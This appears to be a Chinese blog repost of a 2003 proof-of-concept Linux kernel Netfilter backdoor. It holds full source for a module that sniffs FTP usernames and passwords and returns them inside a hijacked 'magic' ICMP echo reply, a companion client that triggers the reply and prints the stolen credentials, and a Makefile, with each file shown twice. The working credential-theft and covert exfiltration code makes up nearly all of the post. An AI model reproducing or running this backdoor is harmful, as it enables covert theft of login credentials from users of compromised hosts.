 MODULE_AUTHOR("djwow");
 MODULE_DESCRIPTION("ipprint");
MODULE_LICENSE("GPL");


老外的:

  1. /* Simple proof-of-concept for kernel-based FTP password sniffer. 
  2. * A captured Username and Password pair are sent to a remote host 
  3. * when that host sends a specially formatted ICMP packet. Here we 
  4. * shall use an ICMP_ECHO packet whose code field is set to 0x5B 
  5. * *AND* the packet has enough 
  6. * space after the headers to fit a 4-byte IP address and the 
  7. * username and password fields which are a max. of 15 characters 
  8. * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */  
  9.   
  10. /* Written by bioforge,  March 2003 */  
  11.   
  12. #define MODULE  
  13. #define __KERNEL__  
  14.   
  15. #include <linux/module.h>  
  16. #include <linux/kernel.h>  
  17. #include <linux/skbuff.h>  
  18. #include <linux/in.h>  
  19. #include <linux/ip.h>  
  20. #include <linux/tcp.h>  
  21. #include <linux/icmp.h>  
  22. #include <linux/netdevice.h>  
  23. #include <linux/netfilter.h>  
  24. #include <linux/netfilter_ipv4.h>  
  25. #include <linux/if_arp.h>  
  26. #include <linux/if_ether.h>  
  27. #include <linux/if_packet.h>  
  28.   
  29. #define MAGIC_CODE   0x5B  
  30. #define REPLY_SIZE   36  
  31.   
  32. #define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) /  
  33.                    - sizeof(struct iphdr) /  
  34.                    - sizeof(struct icmphdr))  
  35.   
  36. /* THESE values are used to keep the USERname and PASSword until 
  37. * they are queried. Only one USER/PASS pair will be held at one 
  38. * time and will be cleared once queried. */  
  39. static char *username = NULL;  
  40. static char *password = NULL;  
  41. static int  have_pair = 0;     /* Marks if we already have a pair */  
  42.   
  43. /* Tracking information. Only log USER and PASS commands that go to the 
  44. * same IP address and TCP port. */  
  45. static unsigned int target_ip = 0;  
  46. static unsigned short target_port = 0;  
  47.   
  48. /* Used to describe our Netfilter hooks */  
  49. struct nf_hook_ops  pre_hook;           /* Incoming */  
  50. struct nf_hook_ops  post_hook;           /* Outgoing */  
  51.   
  52.   
  53. /* Function that looks at an sk_buff that is known to be an FTP packet. 
  54. * Looks for the USER and PASS fields and makes sure they both come from 
  55. * the one host as indicated in the target_xxx fields */  
  56. static void check_ftp(struct sk_buff *skb)  
  57. {  
  58.    struct tcphdr *tcp;  
  59.    char *data;  
  60.    int len = 0;  
  61.    int i = 0;  
  62.      
  63.    tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));  
  64.    data = (char *)((int)tcp + (int)(tcp->doff * 4));  
  65.   
  66.    /* Now, if we have a username already, then we have a target_ip. 
  67.     * Make sure that this packet is destined for the same host. */  
  68.    if (username)  
  69.      if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)  
  70.        return;  
  71.      
  72.    /* Now try to see if this is a USER or PASS packet */  
  73.    if (strncmp(data, "USER ", 5) == 0) {          /* Username */  
  74.       data += 5;  
  75.         
  76.       if (username)  return;  
  77.         
  78.       while (*(data + i) != '/r' && *(data + i) != '/n'  
  79.          && *(data + i) != '/0' && i < 15) {  
  80.      len++;  
  81.      i++;  
  82.       }  
  83.         
  84.       if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)  
  85.     return;  
  86.       memset(username, 0x00, len + 2);  
  87.       memcpy(username, data, len);  
  88.       *(username + len) = '/0';           /* NULL terminate */  
  89.    } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */  
  90.       data += 5;  
  91.   
  92.       /* If a username hasn't been logged yet then don't try logging 
  93.        * a password */  
  94.       if (username == NULL) return;  
  95.       if (password)  return;  
  96.         
  97.       while (*(data + i) != '/r' && *(data + i) != '/n'  
  98.          && *(data + i) != '/0' && i < 15) {  
  99.      len++;  
  100.      i++;  
  101.       }  
  102.   
  103.       if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)  
  104.     return;  
  105.       memset(password, 0x00, len + 2);  
  106.       memcpy(password, data, len);  
  107.       *(password + len) = '/0';           /* NULL terminate */  
  108.    } else if (strncmp(data, "QUIT", 4) == 0) {  
  109.       /* Quit command received. If we have a username but no password, 
  110.        * clear the username and reset everything */  
  111.       if (have_pair)  return;  
  112.       if (username && !password) {  
  113.      kfree(username);  
  114.      username = NULL;  
  115.      target_port = target_ip = 0;  
  116.      have_pair = 0;  
  117.        
  118.      return;  
  119.       }  
  120.    } else {  
  121.       return;  
  122.    }  
  123.   
  124.    if (!target_ip)  
  125.      target_ip = skb->nh.iph->daddr;  
  126.    if (!target_port)  
  127.      target_port = tcp->source;  
  128.   
  129.    if (username && password)  
  130.      have_pair++;               /* Have a pair. Ignore others until 
  131.                     * this pair has been read. */  
  132. //   if (have_pair)  
  133. //     printk("Have password pair!  U: %s   P: %s/n", username, password);  
  134. }  
  135.   
  136. /* Function called as the POST_ROUTING (last) hook. It will check for 
  137. * FTP traffic then search that traffic for USER and PASS commands. */  
  138. static unsigned int watch_out(unsigned int hooknum,  
  139.                   struct sk_buff **skb,  
  140.                   const struct net_device *in,  
  141.                   const struct net_device *out,  
  142.                   int (*okfn)(struct sk_buff *))  
  143. {  
  144.    struct sk_buff *sb = *skb;  
  145.    struct tcphdr *tcp;  
  146.      
  147.    /* Make sure this is a TCP packet first */  
  148.    if (sb->nh.iph->protocol != IPPROTO_TCP)  
  149.      return NF_ACCEPT;               /* Nope, not TCP */  
  150.      
  151.    tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));  
  152.      
  153.    /* Now check to see if it's an FTP packet */  
  154.    if (tcp->dest != htons(21))  
  155.      return NF_ACCEPT;               /* Nope, not FTP */  
  156.      
  157.    /* Parse the FTP packet for relevant information if we don't already 
  158.     * have a username and password pair. */  
  159.    if (!have_pair)  
  160.      check_ftp(sb);  
  161.      
  162.    /* We are finished with the packet, let it go on its way */  
  163.    return NF_ACCEPT;  
  164. }  
  165.   
  166.   
  167. /* Procedure that watches incoming ICMP traffic for the "Magic" packet. 
  168. * When that is received, we tweak the skb structure to send a reply 
  169. * back to the requesting host and tell Netfilter that we stole the 
  170. * packet. */  
  171. static unsigned int watch_in(unsigned int hooknum,  
  172.                  struct sk_buff **skb,  
  173.                  const struct net_device *in,  
  174.                  const struct net_device *out,  
  175.                  int (*okfn)(struct sk_buff *))  
  176. {  
  177.    struct sk_buff *sb = *skb;  
  178.    struct icmphdr *icmp;  
  179.    char *cp_data;               /* Where we copy data to in reply */  
  180.    unsigned int   taddr;           /* Temporary IP holder */  
  181.   
  182.    /* Do we even have a username/password pair to report yet? */  
  183.    if (!have_pair)  
  184.      return NF_ACCEPT;  
  185.        
  186.    /* Is this an ICMP packet? */  
  187.    if (sb->nh.iph->protocol != IPPROTO_ICMP)  
  188.      return NF_ACCEPT;  
  189.      
  190.    icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);  
  191.   
  192.    /* Is it the MAGIC packet? */  
  193.    if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO  
  194.      || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {  
  195.       return NF_ACCEPT;  
  196.    }  
  197.      
  198.    /* Okay, matches our checks for "Magicness", now we fiddle with 
  199.     * the sk_buff to insert the IP address, and username/password pair, 
  200.     * swap IP source and destination addresses and ethernet addresses 
  201.     * if necessary and then transmit the packet from here and tell 
  202.     * Netfilter we stole it. Phew... */  
  203.    taddr = sb->nh.iph->saddr;  
  204.    sb->nh.iph->saddr = sb->nh.iph->daddr;  
  205.    sb->nh.iph->daddr = taddr;  
  206.   
  207.    sb->pkt_type = PACKET_OUTGOING;  
  208.   
  209.    switch (sb->dev->type) {  
  210.     case ARPHRD_PPP:               /* No fiddling needs doing */  
  211.       break;  
  212.     case ARPHRD_LOOPBACK:  
  213.     case ARPHRD_ETHER:  
  214.     {  
  215.        unsigned char t_hwaddr[ETH_ALEN];  
  216.          
  217.        /* Move the data pointer to point to the link layer header */  
  218.        sb->data = (unsigned char *)sb->mac.ethernet;  
  219.        sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);  
  220.        memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);  
  221.        memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),  
  222.           ETH_ALEN);  
  223.        memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);  
  224.     
  225.        break;  
  226.     }  
  227.    };  
  228.   
  229.    /* Now copy the IP address, then Username, then password into packet */  
  230.    cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));  
  231.    memcpy(cp_data, &target_ip, 4);  
  232.    if (username)  
  233.      memcpy(cp_data + 4, username, 16);  
  234.    if (password)  
  235.      memcpy(cp_data + 20, password, 16);  
  236.      
  237.    /* This is where things will die if they are going to. 
  238.     * Fingers crossed... */  
  239.    dev_queue_xmit(sb);  
  240.   
  241.    /* Now free the saved username and password and reset have_pair */  
  242.    kfree(username);  
  243.    kfree(password);  
  244.    username = password = NULL;  
  245.    have_pair = 0;  
  246.      
  247.    target_port = target_ip = 0;  
  248.   
  249. //   printk("Password retrieved/n");  
  250.      
  251.    return NF_STOLEN;  
  252. }  
  253.   
  254. int init_module()  
  255. {  
  256.    pre_hook.hook     = watch_in;  
  257.    pre_hook.pf       = PF_INET;  
  258.    pre_hook.priority = NF_IP_PRI_FIRST;  
  259.    pre_hook.hooknum  = NF_IP_PRE_ROUTING;  
  260.      
  261.    post_hook.hook     = watch_out;  
  262.    post_hook.pf       = PF_INET;  
  263.    post_hook.priority = NF_IP_PRI_FIRST;  
  264.    post_hook.hooknum  = NF_IP_POST_ROUTING;  
  265.      
  266.    nf_register_hook(&pre_hook);  
  267.    nf_register_hook(&post_hook);  
  268.      
  269.    return 0;  
  270. }  
  271.   
  272. void cleanup_module()  
  273. {  
  274.    nf_unregister_hook(&post_hook);  
  275.    nf_unregister_hook(&pre_hook);  
  276.      
  277.    if (password)  
  278.      kfree(password);  
  279.    if (username)  
  280.      kfree(username);  
  281. }  
  282.   
  283. module_init(init_module);  
  284. module_exit(cleanup_module);  
/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

/* Written by bioforge,  March 2003 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36

#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) /
                   - sizeof(struct iphdr) /
                   - sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;     /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;           /* Incoming */
struct nf_hook_ops  post_hook;           /* Outgoing */


/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
   struct tcphdr *tcp;
   char *data;
   int len = 0;
   int i = 0;
   
   tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   data = (char *)((int)tcp + (int)(tcp->doff * 4));

   /* Now, if we have a username already, then we have a target_ip.
    * Make sure that this packet is destined for the same host. */
   if (username)
     if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
       return;
   
   /* Now try to see if this is a USER or PASS packet */
   if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      data += 5;
      
      if (username)  return;
      
      while (*(data + i) != '/r' && *(data + i) != '/n'
         && *(data + i) != '/0' && i < 15) {
     len++;
     i++;
      }
      
      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
    return;
      memset(username, 0x00, len + 2);
      memcpy(username, data, len);
      *(username + len) = '/0';           /* NULL terminate */
   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;

      /* If a username hasn't been logged yet then don't try logging
       * a password */
      if (username == NULL) return;
      if (password)  return;
      
      while (*(data + i) != '/r' && *(data + i) != '/n'
         && *(data + i) != '/0' && i < 15) {
     len++;
     i++;
      }

      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
    return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);
      *(password + len) = '/0';           /* NULL terminate */
   } else if (strncmp(data, "QUIT", 4) == 0) {
      /* Quit command received. If we have a username but no password,
       * clear the username and reset everything */
      if (have_pair)  return;
      if (username && !password) {
     kfree(username);
     username = NULL;
     target_port = target_ip = 0;
     have_pair = 0;
     
     return;
      }
   } else {
      return;
   }

   if (!target_ip)
     target_ip = skb->nh.iph->daddr;
   if (!target_port)
     target_port = tcp->source;

   if (username && password)
     have_pair++;               /* Have a pair. Ignore others until
                    * this pair has been read. */
//   if (have_pair)
//     printk("Have password pair!  U: %s   P: %s/n", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
                  struct sk_buff **skb,
                  const struct net_device *in,
                  const struct net_device *out,
                  int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct tcphdr *tcp;
   
   /* Make sure this is a TCP packet first */
   if (sb->nh.iph->protocol != IPPROTO_TCP)
     return NF_ACCEPT;               /* Nope, not TCP */
   
   tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
   
   /* Now check to see if it's an FTP packet */
   if (tcp->dest != htons(21))
     return NF_ACCEPT;               /* Nope, not FTP */
   
   /* Parse the FTP packet for relevant information if we don't already
    * have a username and password pair. */
   if (!have_pair)
     check_ftp(sb);
   
   /* We are finished with the packet, let it go on its way */
   return NF_ACCEPT;
}


/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(unsigned int hooknum,
                 struct sk_buff **skb,
                 const struct net_device *in,
                 const struct net_device *out,
                 int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct icmphdr *icmp;
   char *cp_data;               /* Where we copy data to in reply */
   unsigned int   taddr;           /* Temporary IP holder */

   /* Do we even have a username/password pair to report yet? */
   if (!have_pair)
     return NF_ACCEPT;
     
   /* Is this an ICMP packet? */
   if (sb->nh.iph->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;
   
   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

   /* Is it the MAGIC packet? */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }
   
   /* Okay, matches our checks for "Magicness", now we fiddle with
    * the sk_buff to insert the IP address, and username/password pair,
    * swap IP source and destination addresses and ethernet addresses
    * if necessary and then transmit the packet from here and tell
    * Netfilter we stole it. Phew... */
   taddr = sb->nh.iph->saddr;
   sb->nh.iph->saddr = sb->nh.iph->daddr;
   sb->nh.iph->daddr = taddr;

   sb->pkt_type = PACKET_OUTGOING;

   switch (sb->dev->type) {
    case ARPHRD_PPP:               /* No fiddling needs doing */
      break;
    case ARPHRD_LOOPBACK:
    case ARPHRD_ETHER:
    {
       unsigned char t_hwaddr[ETH_ALEN];
       
       /* Move the data pointer to point to the link layer header */
       sb->data = (unsigned char *)sb->mac.ethernet;
       sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
       memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
       memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
          ETH_ALEN);
       memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
  
       break;
    }
   };

   /* Now copy the IP address, then Username, then password into packet */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);
   if (username)
     memcpy(cp_data + 4, username, 16);
   if (password)
     memcpy(cp_data + 20, password, 16);
   
   /* This is where things will die if they are going to.
    * Fingers crossed... */
   dev_queue_xmit(sb);

   /* Now free the saved username and password and reset have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
   
   target_port = target_ip = 0;

//   printk("Password retrieved/n");
   
   return NF_STOLEN;
}

int init_module()
{
   pre_hook.hook     = watch_in;
   pre_hook.pf       = PF_INET;
   pre_hook.priority = NF_IP_PRI_FIRST;
   pre_hook.hooknum  = NF_IP_PRE_ROUTING;
   
   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_IP_POST_ROUTING;
   
   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);
   
   return 0;
}

void cleanup_module()
{
   nf_unregister_hook(&post_hook);
   nf_unregister_hook(&pre_hook);
   
   if (password)
     kfree(password);
   if (username)
     kfree(username);
}

module_init(init_module);
module_exit(cleanup_module);

老外的R3程序

  1. /* getpass.c - simple utility to get username/password pair from 
  2. * the Netfilter backdoor FTP sniffer. Very kludgy, but effective. 
  3. * Mostly stripped from my source for InfoPig. 
  4. * 
  5. * Written by bioforge  -  March 2003 */  
  6.   
  7.   
  8. #include <sys/types.h>  
  9. #include <stdio.h>  
  10. #include <stdlib.h>  
  11. #include <unistd.h>  
  12. #include <string.h>  
  13. #include <errno.h>  
  14. #include <sys/socket.h>  
  15. #include <netdb.h>  
  16. #include <arpa/inet.h>  
  17.   
  18.   
  19. #ifndef __USE_BSD  
  20. # define __USE_BSD               /* We want the proper headers */  
  21. #endif  
  22. # include <netinet/ip.h>  
  23. #include <netinet/ip_icmp.h>  
  24.   
  25.   
  26. /* Function prototypes */  
  27. static unsigned short checksum(int numwords, unsigned short *buff);  
  28.   
  29.   
  30. int main(int argc, char *argv[])  
  31. {  
  32.     unsigned char dgram[256];           /* Plenty for a PING datagram */  
  33.     unsigned char recvbuff[256];  
  34.     struct ip *iphead = (struct ip *)dgram;  
  35.     struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));  
  36.     struct sockaddr_in src;  
  37.     struct sockaddr_in addr;  
  38.     struct in_addr my_addr;  
  39.     struct in_addr serv_addr;  
  40.     socklen_t src_addr_size = sizeof(struct sockaddr_in);  
  41.     int icmp_sock = 0;  
  42.     int one = 1;  
  43.     int *ptr_one = &one;  
  44.       
  45.     if (argc < 3) {  
  46.     fprintf(stderr, "Usage:  %s remoteIP myIP/n", argv[0]);  
  47.     exit(1);  
  48.     }  
  49.   
  50.   
  51.     /* Get a socket */  
  52.     if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {  
  53.     fprintf(stderr, "Couldn't open raw socket! %s/n",  
  54.         strerror(errno));  
  55.     exit(1);  
  56.     }  
  57.   
  58.   
  59.     /* set the HDR_INCL option on the socket */  
  60.     if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,  
  61.           ptr_one, sizeof(one)) < 0) {  
  62.     close(icmp_sock);  
  63.     fprintf(stderr, "Couldn't set HDRINCL option! %s/n",  
  64.             strerror(errno));  
  65.     exit(1);  
  66.     }  
  67.       
  68.     addr.sin_family = AF_INET;  
  69.     addr.sin_addr.s_addr = inet_addr(argv[1]);  
  70.       
  71.     my_addr.s_addr = inet_addr(argv[2]);  
  72.       
  73.     memset(dgram, 0x00, 256);  
  74.     memset(recvbuff, 0x00, 256);  
  75.       
  76.     /* Fill in the IP fields first */  
  77.     iphead->ip_hl  = 5;  
  78.     iphead->ip_v   = 4;  
  79.     iphead->ip_tos = 0;  
  80.     iphead->ip_len = 84;  
  81.     iphead->ip_id  = (unsigned short)rand();  
  82.     iphead->ip_off = 0;  
  83.     iphead->ip_ttl = 128;  
  84.     iphead->ip_p   = IPPROTO_ICMP;  
  85.     iphead->ip_sum = 0;  
  86.     iphead->ip_src = my_addr;  
  87.     iphead->ip_dst = addr.sin_addr;  
  88.       
  89.     /* Now fill in the ICMP fields */  
  90.     icmphead->icmp_type = ICMP_ECHO;  
  91.     icmphead->icmp_code = 0x5B;  
  92.     icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);  
  93.       
  94.     /* Finally, send the packet */  
  95.     fprintf(stdout, "Sending request.../n");  
  96.     if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,  
  97.            sizeof(struct sockaddr)) < 0) {  
  98.     fprintf(stderr, "/nFailed sending request! %s/n",  
  99.         strerror(errno));  
  100.     return 0;  
  101.     }  
  102.   
  103.   
  104.     fprintf(stdout, "Waiting for reply.../n");  
  105.     if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,  
  106.          &src_addr_size) < 0) {  
  107.     fprintf(stdout, "Failed getting reply packet! %s/n",  
  108.         strerror(errno));  
  109.     close(icmp_sock);  
  110.     exit(1);  
  111.     }  
  112.       
  113.     iphead = (struct ip *)recvbuff;  
  114.     icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));  
  115.     memcpy(&serv_addr, ((char *)icmphead + 8),  
  116.            sizeof (struct in_addr));  
  117.       
  118.     fprintf(stdout, "Stolen for ftp server %s:/n", inet_ntoa(serv_addr));  
  119.     fprintf(stdout, "Username:    %s/n",  
  120.          (char *)((char *)icmphead + 12));  
  121.     fprintf(stdout, "Password:    %s/n",  
  122.          (char *)((char *)icmphead + 28));  
  123.       
  124.     close(icmp_sock);  
  125.       
  126.     return 0;  
  127. }  
  128.   
  129.   
  130. /* Checksum-generation function. It appears that PING'ed machines don't 
  131. * reply to PINGs with invalid (ie. empty) ICMP Checksum fields... 
  132. * Fair enough I guess. */  
  133. static unsigned short checksum(int numwords, unsigned short *buff)  
  134. {  
  135.    unsigned long sum;  
  136.      
  137.    for(sum = 0;numwords > 0;numwords--)  
  138.      sum += *buff++;   /* add next word, then increment pointer */  
  139.      
  140.    sum = (sum >> 16) + (sum & 0xFFFF);  
  141.    sum += (sum >> 16);  
  142.      
  143.    return ~sum;  
  144. }  
/* getpass.c - simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge  -  March 2003 */


#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>


#ifndef __USE_BSD
# define __USE_BSD               /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>


/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);


int main(int argc, char *argv[])
{
    unsigned char dgram[256];           /* Plenty for a PING datagram */
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &one;
    
    if (argc < 3) {
    fprintf(stderr, "Usage:  %s remoteIP myIP/n", argv[0]);
    exit(1);
    }


    /* Get a socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
    fprintf(stderr, "Couldn't open raw socket! %s/n",
        strerror(errno));
    exit(1);
    }


    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
          ptr_one, sizeof(one)) < 0) {
    close(icmp_sock);
    fprintf(stderr, "Couldn't set HDRINCL option! %s/n",
            strerror(errno));
    exit(1);
    }
    
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);
    
    my_addr.s_addr = inet_addr(argv[2]);
    
    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);
    
    /* Fill in the IP fields first */
    iphead->ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;
    
    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
    
    /* Finally, send the packet */
    fprintf(stdout, "Sending request.../n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
           sizeof(struct sockaddr)) < 0) {
    fprintf(stderr, "/nFailed sending request! %s/n",
        strerror(errno));
    return 0;
    }


    fprintf(stdout, "Waiting for reply.../n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
         &src_addr_size) < 0) {
    fprintf(stdout, "Failed getting reply packet! %s/n",
        strerror(errno));
    close(icmp_sock);
    exit(1);
    }
    
    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),
           sizeof (struct in_addr));
    
    fprintf(stdout, "Stolen for ftp server %s:/n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s/n",
         (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s/n",
         (char *)((char *)icmphead + 28));
    
    close(icmp_sock);
    
    return 0;
}


/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;
   
   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */
   
   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);
   
   return ~sum;
}


Makefile

  1. #Makefile                                                
  2. #                                                        
  3.                                                          
  4. CFLAGS=-Wall                                             
  5. LIBS=-L/usr/lib -lc  
  6. # Change include directory for your kernel                                     
  7. MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include   
  8. MODULE_CFLAGS+=$(CFLAGS)                                 
  9. EXECUTE_CFLAGS=-ggdb                                     
  10. EXECUTE_CFLAGS+=$(CFLAGS)                                
  11.                                                          
  12. all : nfsniff.o getpass                                  
  13. nfsniff.o : nfsniff.c                                    
  14.         gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS)  
  15.         ld -r -o nfsniff.o nfsniff~.o $(LIBS)            
  16. getpass.o : getpass.c                                    
  17.         gcc -c getpass.c $(EXECUTE_CFLAGS)               
  18. getpass : getpass.o                                      
  19.         gcc -o getpass getpass.o $(EXECUTE_CFLAGS)       
  20. clean :                                                  
  21.     rm -f *.o getpass      
#Makefile                                              
#                                                      
                                                       
CFLAGS=-Wall                                           
LIBS=-L/usr/lib -lc
# Change include directory for your kernel                                   
MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include 
MODULE_CFLAGS+=$(CFLAGS)                               
EXECUTE_CFLAGS=-ggdb                                   
EXECUTE_CFLAGS+=$(CFLAGS)                              
                                                       
all : nfsniff.o getpass                                
nfsniff.o : nfsniff.c                                  
        gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS)
        ld -r -o nfsniff.o nfsniff~.o $(LIBS)          
getpass.o : getpass.c                                  
        gcc -c getpass.c $(EXECUTE_CFLAGS)             
getpass : getpass.o                                    
        gcc -o getpass getpass.o $(EXECUTE_CFLAGS)     
clean :                                                
	rm -f *.o getpass    


如果不自己开发防火墙的话 可以使用linux自带iptables


参考:



iptables详解-WilleeKung-ChinaUnix博客
http://blog.chinaunix.net/uid-22780578-id-3346350.html


netfilter iptables全攻略
http://www.linuxso.com/linuxpeixun/10332.html




本文参考文章:
struct ethhdr、ether_header、iphdr、tcphdr、udphdr
http://blog.csdn.net/zhb123168/article/details/6319521


Linux内核sk_buff结构分析
http://blog.csdn.net/q345852047/article/details/7415748


skb_buf结构分析
http://blog.csdn.net/qq405180763/article/details/8797236


sk_buff结构分析
http://www.cnblogs.com/qq78292959/archive/2012/06/06/2538358.html
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值